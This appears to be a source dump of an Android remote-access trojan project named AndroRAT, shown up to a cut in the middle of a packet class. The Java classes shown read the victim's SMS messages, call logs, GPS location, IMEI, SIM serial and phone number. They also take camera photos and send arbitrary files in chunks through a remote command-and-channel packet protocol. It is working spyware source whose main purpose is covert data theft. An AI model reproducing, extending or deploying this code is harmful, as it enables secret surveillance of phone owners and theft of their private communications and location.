/Experiment/AndroratActivity/bin/classes/my/app/Library/VideoStreaming$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/VideoStreaming$1.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/Library/VideoStreaming.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/Library/VideoStreaming.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/BuildConfig.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/BuildConfig.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/ClientListener.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/ClientListener.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$1.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$2.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$3.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$3.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$ByteArrayFinder.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$ByteArrayFinder.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/ProcessCommand.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/ProcessCommand.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$attr.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$attr.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$drawable.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$drawable.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$id.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$id.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$layout.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$layout.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$string.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$string.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$xml.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$xml.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/out/Connection.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/out/Connection.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/out/Mux.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/out/Mux.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/out/Sender.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/out/Sender.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/utils/Contact.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/utils/Contact.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/utils/EncoderHelper.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/utils/EncoderHelper.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/utils/MyFile.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/utils/MyFile.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/classes/utils/wavIO.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/utils/wavIO.class
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/jarlist.cache:
--------------------------------------------------------------------------------
1 | # cache for current jar dependecy. DO NOT EDIT.
2 | # format is
3 | # Encoding is UTF-8
4 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/res/drawable-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/res/drawable-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/res/drawable-ldpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/res/drawable-ldpi/ic_launcher.png
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/res/drawable-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/res/drawable-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/res/drawable-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/res/drawable-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/bin/resources.ap_:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/resources.ap_
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/gen/my/app/activityclient/BuildConfig.java:
--------------------------------------------------------------------------------
1 | /** Automatically generated file. DO NOT MODIFY */
2 | package my.app.activityclient;
3 |
4 | public final class BuildConfig {
5 | public final static boolean DEBUG = true;
6 | }
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/gen/my/app/activityclient/R.java:
--------------------------------------------------------------------------------
1 | /* AUTO-GENERATED FILE. DO NOT MODIFY.
2 | *
3 | * This class was automatically generated by the
4 | * aapt tool from the resource data it found. It
5 | * should not be modified by hand.
6 | */
7 |
8 | package my.app.activityclient;
9 |
10 | public final class R {
11 | public static final class attr {
12 | }
13 | public static final class drawable {
14 | public static final int ic_launcher=0x7f020000;
15 | }
16 | public static final class id {
17 | public static final int button_capture=0x7f060003;
18 | public static final int camera_preview=0x7f060000;
19 | public static final int ipfield=0x7f060001;
20 | public static final int portfield=0x7f060002;
21 | }
22 | public static final class layout {
23 | public static final int main=0x7f030000;
24 | }
25 | public static final class string {
26 | public static final int app_name=0x7f050001;
27 | public static final int hello=0x7f050000;
28 | }
29 | public static final class xml {
30 | public static final int preferences=0x7f040000;
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/proguard-project.txt:
--------------------------------------------------------------------------------
1 | # To enable ProGuard in your project, edit project.properties
2 | # to define the proguard.config property as described in that file.
3 | #
4 | # Add project specific ProGuard rules here.
5 | # By default, the flags in this file are appended to flags specified
6 | # in ${sdk.dir}/tools/proguard/proguard-android.txt
7 | # You can edit the include path and order by changing the ProGuard
8 | # include property in project.properties.
9 | #
10 | # For more details, see
11 | # http://developer.android.com/guide/developing/tools/proguard.html
12 |
13 | # Add any project specific keep options here:
14 |
15 | # If your project uses WebView with JS, uncomment the following
16 | # and specify the fully qualified class name to the JavaScript interface
17 | # class:
18 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
19 | # public *;
20 | #}
21 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/project.properties:
--------------------------------------------------------------------------------
1 | # This file is automatically generated by Android Tools.
2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED!
3 | #
4 | # This file must be checked in Version Control Systems.
5 | #
6 | # To customize properties used by the Ant build system edit
7 | # "ant.properties", and override values to adapt the script to your
8 | # project structure.
9 | #
10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home):
11 | #proguard.config=${sdk.dir}\tools\proguard\proguard-android.txt:proguard-project.txt
12 |
13 | # Project target.
14 | target=android-8
15 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/res/drawable-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/res/drawable-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/res/drawable-ldpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/res/drawable-ldpi/ic_launcher.png
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/res/drawable-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/res/drawable-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/res/drawable-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/res/drawable-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Hello World, AndroratActivity!
5 | ActivityAndrorat
6 |
7 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/res/xml/preferences.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
10 |
11 |
12 |
16 |
17 |
18 |
22 |
23 |
24 |
28 |
29 |
30 |
34 |
35 |
36 |
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/src/my/app/Library/CallLogLister.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.util.ArrayList;
4 |
5 | import my.app.activityclient.ClientListener;
6 | import Packet.CallLogPacket;
7 | import Packet.CallPacket;
8 | import android.database.Cursor;
9 | import android.net.Uri;
10 | import android.provider.CallLog;
11 |
12 | public class CallLogLister {
13 |
14 |
15 | public static boolean listCallLog(ClientListener c, int channel, byte[] args) {
16 | ArrayList l = new ArrayList();
17 |
18 | boolean ret =false;
19 | String WHERE_CONDITION = new String(args);
20 | String SORT_ORDER = "date DESC";
21 | String[] column = { "_id", "type", "date", "duration", "number","name" ,"raw_contact_id" };
22 |
23 | Cursor cursor = c.getContentResolver().query(CallLog.Calls.CONTENT_URI, column , WHERE_CONDITION, null, SORT_ORDER);
24 |
25 |
26 | if(cursor.getCount() != 0) {
27 | cursor.moveToFirst();
28 |
29 | do{
30 | if(cursor.getColumnCount() != 0) {
31 | int id = cursor.getInt(cursor.getColumnIndex("_id"));
32 | int type = cursor.getInt(cursor.getColumnIndex("type"));
33 | long date = cursor.getLong(cursor.getColumnIndex("date"));
34 | long duration = cursor.getLong(cursor.getColumnIndex("duration"));
35 | String number = cursor.getString(cursor.getColumnIndex("number"));
36 | String name = cursor.getString(cursor.getColumnIndex("name"));
37 | int raw_contact_id = cursor.getInt(cursor.getColumnIndex("raw_contact_id"));
38 |
39 | l.add(new CallPacket(id, type, date, duration, raw_contact_id, number, name));
40 | }
41 | }while(cursor.moveToNext());
42 | ret = true;
43 | }
44 | else
45 | ret = false;
46 |
47 |
48 |
49 | c.handleData(channel, new CallLogPacket(l).build());
50 | return ret;
51 | }
52 |
53 | }
54 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/src/my/app/Library/FileDownloader.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.io.File;
4 | import java.io.FileInputStream;
5 | import java.io.FileNotFoundException;
6 | import java.io.IOException;
7 | import java.io.InputStream;
8 |
9 | import my.app.activityclient.ClientListener;
10 |
11 | import Packet.FilePacket;
12 |
13 | public class FileDownloader {
14 |
15 | ClientListener ctx;
16 | byte[] finalData;
17 | InputStream in;
18 | File f;
19 | int channel;
20 | FilePacket packet;
21 | byte[] buffer;
22 | short numseq = 0;
23 | int BUFF_SIZE = 4096;
24 |
25 | public FileDownloader(ClientListener c) {
26 | ctx = c;
27 | }
28 |
29 | public boolean downloadFile(String s, int chan) {
30 | channel = chan;
31 | f = new File(s);
32 | try {
33 | in = new FileInputStream(f);
34 | } catch (FileNotFoundException e) {
35 | return false;
36 | }
37 |
38 | Thread loadf = new Thread(new Runnable() {
39 | public void run() {
40 | load();
41 | }
42 | });
43 | loadf.start();
44 |
45 | return true;
46 | }
47 |
48 | public void load() {
49 | try {
50 | while(true) {
51 | buffer = new byte[BUFF_SIZE];
52 | int read = in.read(buffer);
53 | if (read == -1) {
54 | break;
55 | }
56 | if (read == BUFF_SIZE) {
57 | packet = new FilePacket(numseq, (byte) 1, buffer);
58 | ctx.handleData(channel, packet.build());
59 | numseq ++;
60 | }
61 | else {//C'était le dernier paquet
62 | byte[] tmp = new byte[read];
63 | System.arraycopy(buffer, 0, tmp, 0, read);
64 | packet = new FilePacket(numseq, (byte) 0, tmp);
65 | ctx.handleData(channel, packet.build());
66 | break;
67 | }
68 | }
69 | in.close();
70 | }
71 | catch(IOException e) {
72 | ctx.sendError("IOException loading file");
73 | }
74 | }
75 | }
76 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/src/my/app/Library/GPSListener.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | import Packet.GPSPacket;
6 |
7 | import android.content.Context;
8 | import android.location.Location;
9 | import android.location.LocationListener;
10 | import android.location.LocationManager;
11 |
12 | public class GPSListener {
13 |
14 | private Context ctx;
15 | private String provider;
16 | private LocationManager mlocManager;
17 | private LocationListener listener;
18 | private int channel ;
19 | private GPSPacket packet;
20 |
21 | public GPSListener(LocationListener c, String prov, int chan) {
22 | listener = c;
23 | provider = prov;
24 | channel = chan ;
25 |
26 | packet = new GPSPacket();
27 |
28 | mlocManager = (LocationManager) ((Context) c).getSystemService(Context.LOCATION_SERVICE);
29 | mlocManager.requestLocationUpdates( prov, 0, 0, listener);
30 | //mlocManager.requestLocationUpdates( LocationManager.NETWORK_PROVIDER, 0, 0, listener);
31 | }
32 |
33 | public void stop() {
34 | if (mlocManager != null) {
35 | mlocManager.removeUpdates(listener);
36 | }
37 | }
38 |
39 |
40 | public byte[] encode(Location loc) {
41 | packet = new GPSPacket(loc.getLatitude(), loc.getLongitude(), loc.getAltitude(), loc.getSpeed(), loc.getAccuracy());
42 | return packet.build();
43 | /*
44 | ByteBuffer b = ByteBuffer.allocate(32);
45 | b.putDouble(loc.getLongitude());
46 | b.putDouble(loc.getLatitude());
47 | b.putDouble(loc.getAltitude());
48 | b.putFloat(loc.getAccuracy());
49 | b.putFloat(loc.getSpeed());
50 | return b.array();
51 | */
52 | }
53 |
54 | public int getChannel()
55 | {
56 | return channel;
57 | }
58 |
59 | }
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/src/my/app/Library/PhotoTaker.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.io.IOException;
4 |
5 | import my.app.activityclient.ClientListener;
6 | import android.content.Context;
7 | import android.content.Intent;
8 | import android.content.pm.PackageManager;
9 | import android.hardware.Camera;
10 | import android.hardware.Camera.PictureCallback;
11 | import android.sax.StartElementListener;
12 | import android.util.Log;
13 | import android.view.SurfaceHolder;
14 | import android.view.SurfaceView;
15 |
16 | public class PhotoTaker {
17 |
18 | Camera cam;
19 | ClientListener ctx;
20 | int chan ;
21 | SurfaceHolder holder;
22 | SurfaceView view;
23 |
24 | private PictureCallback pic = new PictureCallback() {
25 |
26 | public void onPictureTaken(byte[] data, Camera camera) {
27 |
28 | ctx.handleData(chan, data);
29 | Log.i("PhotoTaker", "After take picture !");
30 | cam.release();
31 | cam = null;
32 | }
33 | };
34 |
35 | public PhotoTaker(ClientListener c, int chan) {
36 | this.chan = chan ;
37 | ctx = c;
38 | }
39 |
40 | public PhotoTaker(ClientListener c, int chan,SurfaceView v) {
41 | this.chan = chan ;
42 | ctx = c;
43 | this.view = v;
44 | }
45 | /*
46 | public boolean takePhoto() {
47 | Intent photoActivity = new Intent(this, PhotoActivity.class);
48 | photoActivity.setAction(PhotoTaker.class.getName());
49 | ctx.star
50 | }
51 | */
52 |
53 | public boolean takePhoto() {
54 | if(!(ctx.getApplicationContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)))
55 | return false;
56 | Log.i("PhotoTaker", "Just before Open !");
57 | try {
58 | cam = Camera.open();
59 | } catch (Exception e) { return false; }
60 |
61 | Log.i("PhotoTaker", "Right after Open !");
62 |
63 | if (cam == null)
64 | return false;
65 |
66 | if(view == null)
67 | view = new SurfaceView(ctx);
68 | try {
69 | holder = view.getHolder();
70 | cam.setPreviewDisplay(holder);
71 | } catch(IOException e) { return false; }
72 |
73 | Log.i("PhotoTaker","Surface valid: "+holder.getSurface().isValid());
74 |
75 | cam.startPreview();
76 |
77 | Log.i("PhotoTaker","Surface valid after preview: "+holder.getSurface().isValid());
78 |
79 | cam.takePicture(null, null, pic);
80 |
81 | return true;
82 | }
83 |
84 |
85 | }
86 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/src/my/app/Library/SMSLister.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.util.ArrayList;
4 |
5 | import android.database.Cursor;
6 | import android.net.Uri;
7 |
8 | import Packet.SMSPacket;
9 | import Packet.SMSTreePacket;
10 | import my.app.activityclient.ClientListener;
11 |
12 | public class SMSLister {
13 |
14 | //ClientListener ctx;
15 | //int channel;
16 |
17 | public static boolean listSMS(ClientListener c, int channel, byte[] args) {
18 | ArrayList l = new ArrayList();
19 |
20 | boolean ret = false;
21 | String WHERE_CONDITION = new String(args);
22 | String SORT_ORDER = "date DESC";
23 | String[] column = { "_id", "thread_id", "address", "person", "date","read" ,"body", "type" };
24 | String CONTENT_URI = "content://sms/"; //content://sms/inbox, content://sms/sent
25 |
26 | Cursor cursor = c.getContentResolver().query(Uri.parse(CONTENT_URI), column , WHERE_CONDITION, null, SORT_ORDER);
27 |
28 |
29 | if(cursor.getCount() != 0) {
30 | cursor.moveToFirst();
31 |
32 | do{
33 | if(cursor.getColumnCount() != 0) {
34 | int id = cursor.getInt(cursor.getColumnIndex("_id"));
35 | int thid = cursor.getInt(cursor.getColumnIndex("thread_id"));
36 | String add = cursor.getString(cursor.getColumnIndex("address"));
37 | int person = cursor.getInt(cursor.getColumnIndex("person"));
38 | long date = cursor.getLong(cursor.getColumnIndex("date"));
39 | int read = cursor.getInt(cursor.getColumnIndex("read"));
40 | String body = cursor.getString(cursor.getColumnIndex("body"));
41 | int type = cursor.getInt(cursor.getColumnIndex("type"));
42 | l.add(new SMSPacket(id, thid, add, person, date, read, body, type));
43 | }
44 | }while(cursor.moveToNext());
45 | ret = true;
46 | }
47 | else
48 | ret = false;
49 |
50 |
51 | c.handleData(channel, new SMSTreePacket(l).build());
52 | return ret;
53 | }
54 |
55 | }
56 |
--------------------------------------------------------------------------------
/Experiment/AndroratActivity/src/my/app/Library/SystemInfo.java:
--------------------------------------------------------------------------------
1 | package my.app.Library;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import java.io.ObjectOutputStream;
6 | import java.util.Hashtable;
7 |
8 | import android.content.Context;
9 | import android.telephony.TelephonyManager;
10 |
11 | public class SystemInfo {
12 |
13 | Context ctx;
14 | TelephonyManager tm;
15 |
16 | public SystemInfo(Context c) {
17 | ctx = c;
18 | tm = (TelephonyManager) ctx.getSystemService(Context.TELEPHONY_SERVICE);
19 | }
20 |
21 | public String getPhoneNumber() {
22 | return tm.getLine1Number();
23 | }
24 |
25 | public String getIMEI() {
26 | return tm.getDeviceId();
27 | }
28 |
29 | public String getCountryCode() {
30 | return tm.getNetworkCountryIso();
31 | }
32 |
33 | public String getOperatorName() {
34 | return tm.getNetworkOperatorName();
35 | }
36 |
37 | public String getSimCountryCode() {
38 | return tm.getSimCountryIso();
39 | }
40 |
41 | public String getSimOperatorName() {
42 | return tm.getSimOperatorName();
43 | }
44 |
45 | public String getSimSerial() {
46 | return tm.getSimSerialNumber();
47 | }
48 |
49 | public byte[] getBasicInfos() {
50 | Hashtable h = new Hashtable();
51 | String res;
52 | res = getIMEI();
53 | if(res != null)
54 | h.put("IMEI", res);
55 | res = getPhoneNumber();
56 | if(res != null)
57 | h.put("PhoneNumber", res);
58 | res = getCountryCode();
59 | if(res != null)
60 | h.put("Country", res);
61 | res = getOperatorName();
62 | if(res != null)
63 | h.put("Operator",res);
64 | res = getSimCountryCode();
65 | if(res != null)
66 | h.put("SimCountry", res);
67 | res = getSimOperatorName();
68 | if(res != null)
69 | h.put("SimOperator", res);
70 | res= getSimSerial();
71 | if(res != null)
72 | h.put("SimSerial", res);
73 |
74 | try {
75 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
76 | ObjectOutputStream out = new ObjectOutputStream(bos);
77 | out.writeObject(h);
78 | return bos.toByteArray();
79 | } catch (IOException e) {
80 | return null;
81 | }
82 | }
83 |
84 |
85 |
86 | }
87 |
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/CallLogPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectInputStream;
7 | import java.io.ObjectOutputStream;
8 | import java.util.ArrayList;
9 |
10 | public class CallLogPacket implements Packet{
11 |
12 | private ArrayList list;
13 |
14 | public CallLogPacket() {
15 |
16 | }
17 |
18 | public CallLogPacket(ArrayList ar) {
19 | list = ar;
20 | }
21 |
22 | public byte[] build() {
23 | try {
24 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
25 | ObjectOutputStream out = new ObjectOutputStream(bos);
26 | out.writeObject(list);
27 | return bos.toByteArray();
28 | } catch (IOException e) {
29 | return null;
30 | }
31 | }
32 |
33 | public void parse(byte[] packet) {
34 | ByteArrayInputStream bis = new ByteArrayInputStream(packet);
35 | ObjectInputStream in;
36 | try {
37 | in = new ObjectInputStream(bis);
38 | list = (ArrayList) in.readObject();
39 | } catch (Exception e) {
40 | }
41 | }
42 |
43 | public ArrayList getList() {
44 | return list;
45 | }
46 | }
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/CallStatusPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class CallStatusPacket implements Packet{
6 |
7 | int type;
8 | /*
9 | * 1 -> Incoming call
10 | * 2 -> Missed call
11 | * 3 -> Call accepted
12 | * 4 -> Call send
13 | * 5 -> Hang Up
14 | *
15 | */
16 | String phonenumber;
17 |
18 | public CallStatusPacket() {
19 |
20 | }
21 |
22 | public CallStatusPacket(int type, String phone) {
23 | this.type = type;
24 | this.phonenumber = phone;
25 | }
26 |
27 | public byte[] build() {
28 | ByteBuffer b;
29 | if(phonenumber == null) {
30 | b = ByteBuffer.allocate(4);
31 | b.putInt(type);
32 | }
33 | else {
34 | b = ByteBuffer.allocate(4+phonenumber.length());
35 | b.putInt(type);
36 | b.put(phonenumber.getBytes());
37 | }
38 | return b.array();
39 | }
40 |
41 | public void parse(byte[] packet) {
42 | ByteBuffer b= ByteBuffer.wrap(packet);
43 | this.type = b.getInt();
44 | if(b.hasRemaining()) {
45 | byte[] tmp = new byte[b.remaining()];
46 | b.get(tmp);
47 | this.phonenumber = new String(tmp);
48 | }
49 | else
50 | this.phonenumber = null;
51 | }
52 |
53 | public int getType() {
54 | return type;
55 | }
56 |
57 | public String getPhonenumber() {
58 | return phonenumber;
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/CommandPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.nio.ByteBuffer;
4 |
5 | public class CommandPacket implements Packet {
6 | private short commande;
7 | private int targetChannel;
8 | private byte[] argument;
9 |
10 | public CommandPacket() {
11 |
12 | }
13 |
14 | public CommandPacket(short cmd, int targetChannel, byte[] arg) {
15 | this.commande = cmd;
16 | this.argument = arg;
17 | this.targetChannel = targetChannel;
18 | }
19 |
20 | public void parse(byte[] packet) {
21 | ByteBuffer b = ByteBuffer.wrap(packet);
22 | this.commande = b.getShort();
23 | this.targetChannel = b.getInt();
24 | this.argument = new byte[b.remaining()];
25 | b.get(argument, 0, b.remaining());
26 | }
27 |
28 | public void parse(ByteBuffer b) {
29 | this.commande = b.getShort();
30 | this.targetChannel = b.getInt();
31 | this.argument = new byte[b.remaining()];
32 | b.get(argument, 0, b.remaining());
33 | }
34 |
35 | public byte[] build() {
36 | byte[] byteCmd = ByteBuffer.allocate(2).putShort(commande).array();
37 | byte[] byteTargChan = ByteBuffer.allocate(4).putInt(targetChannel).array();
38 | byte[] cmdToSend = new byte[byteCmd.length + byteTargChan.length + argument.length];
39 |
40 | System.arraycopy(byteCmd, 0, cmdToSend, 0, byteCmd.length);
41 | System.arraycopy(byteTargChan, 0, cmdToSend, byteCmd.length, byteTargChan.length);
42 | System.arraycopy(argument, 0, cmdToSend, byteCmd.length + byteTargChan.length, argument.length);
43 |
44 | return cmdToSend;
45 | }
46 |
47 | public short getCommand() {
48 | return commande;
49 | }
50 |
51 | public byte[] getArguments() {
52 | return argument;
53 | }
54 |
55 | public int getTargetChannel() {
56 | return targetChannel;
57 | }
58 |
59 | }
60 |
--------------------------------------------------------------------------------
/Experiment/InOut/Packet/ContactsPacket.java:
--------------------------------------------------------------------------------
1 | package Packet;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectInputStream;
7 | import java.io.ObjectOutputStream;
8 | import java.util.ArrayList;
9 |
10 | import utils.Contact;
11 |
12 | public class ContactsPacket implements Packet{
13 |
14 | ArrayList list;
15 |
16 | public ContactsPacket() {
17 |
18 | }
19 |
20 | public ContactsPacket(ArrayList ar) {
21 | list = ar;
22 | }
23 |
24 | public byte[] build() {
25 | try {
26 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
27 | ObjectOutputStream out = new ObjectOutputStream(bos);
28 | out.writeObject(list);
29 | return bos.toByteArray();
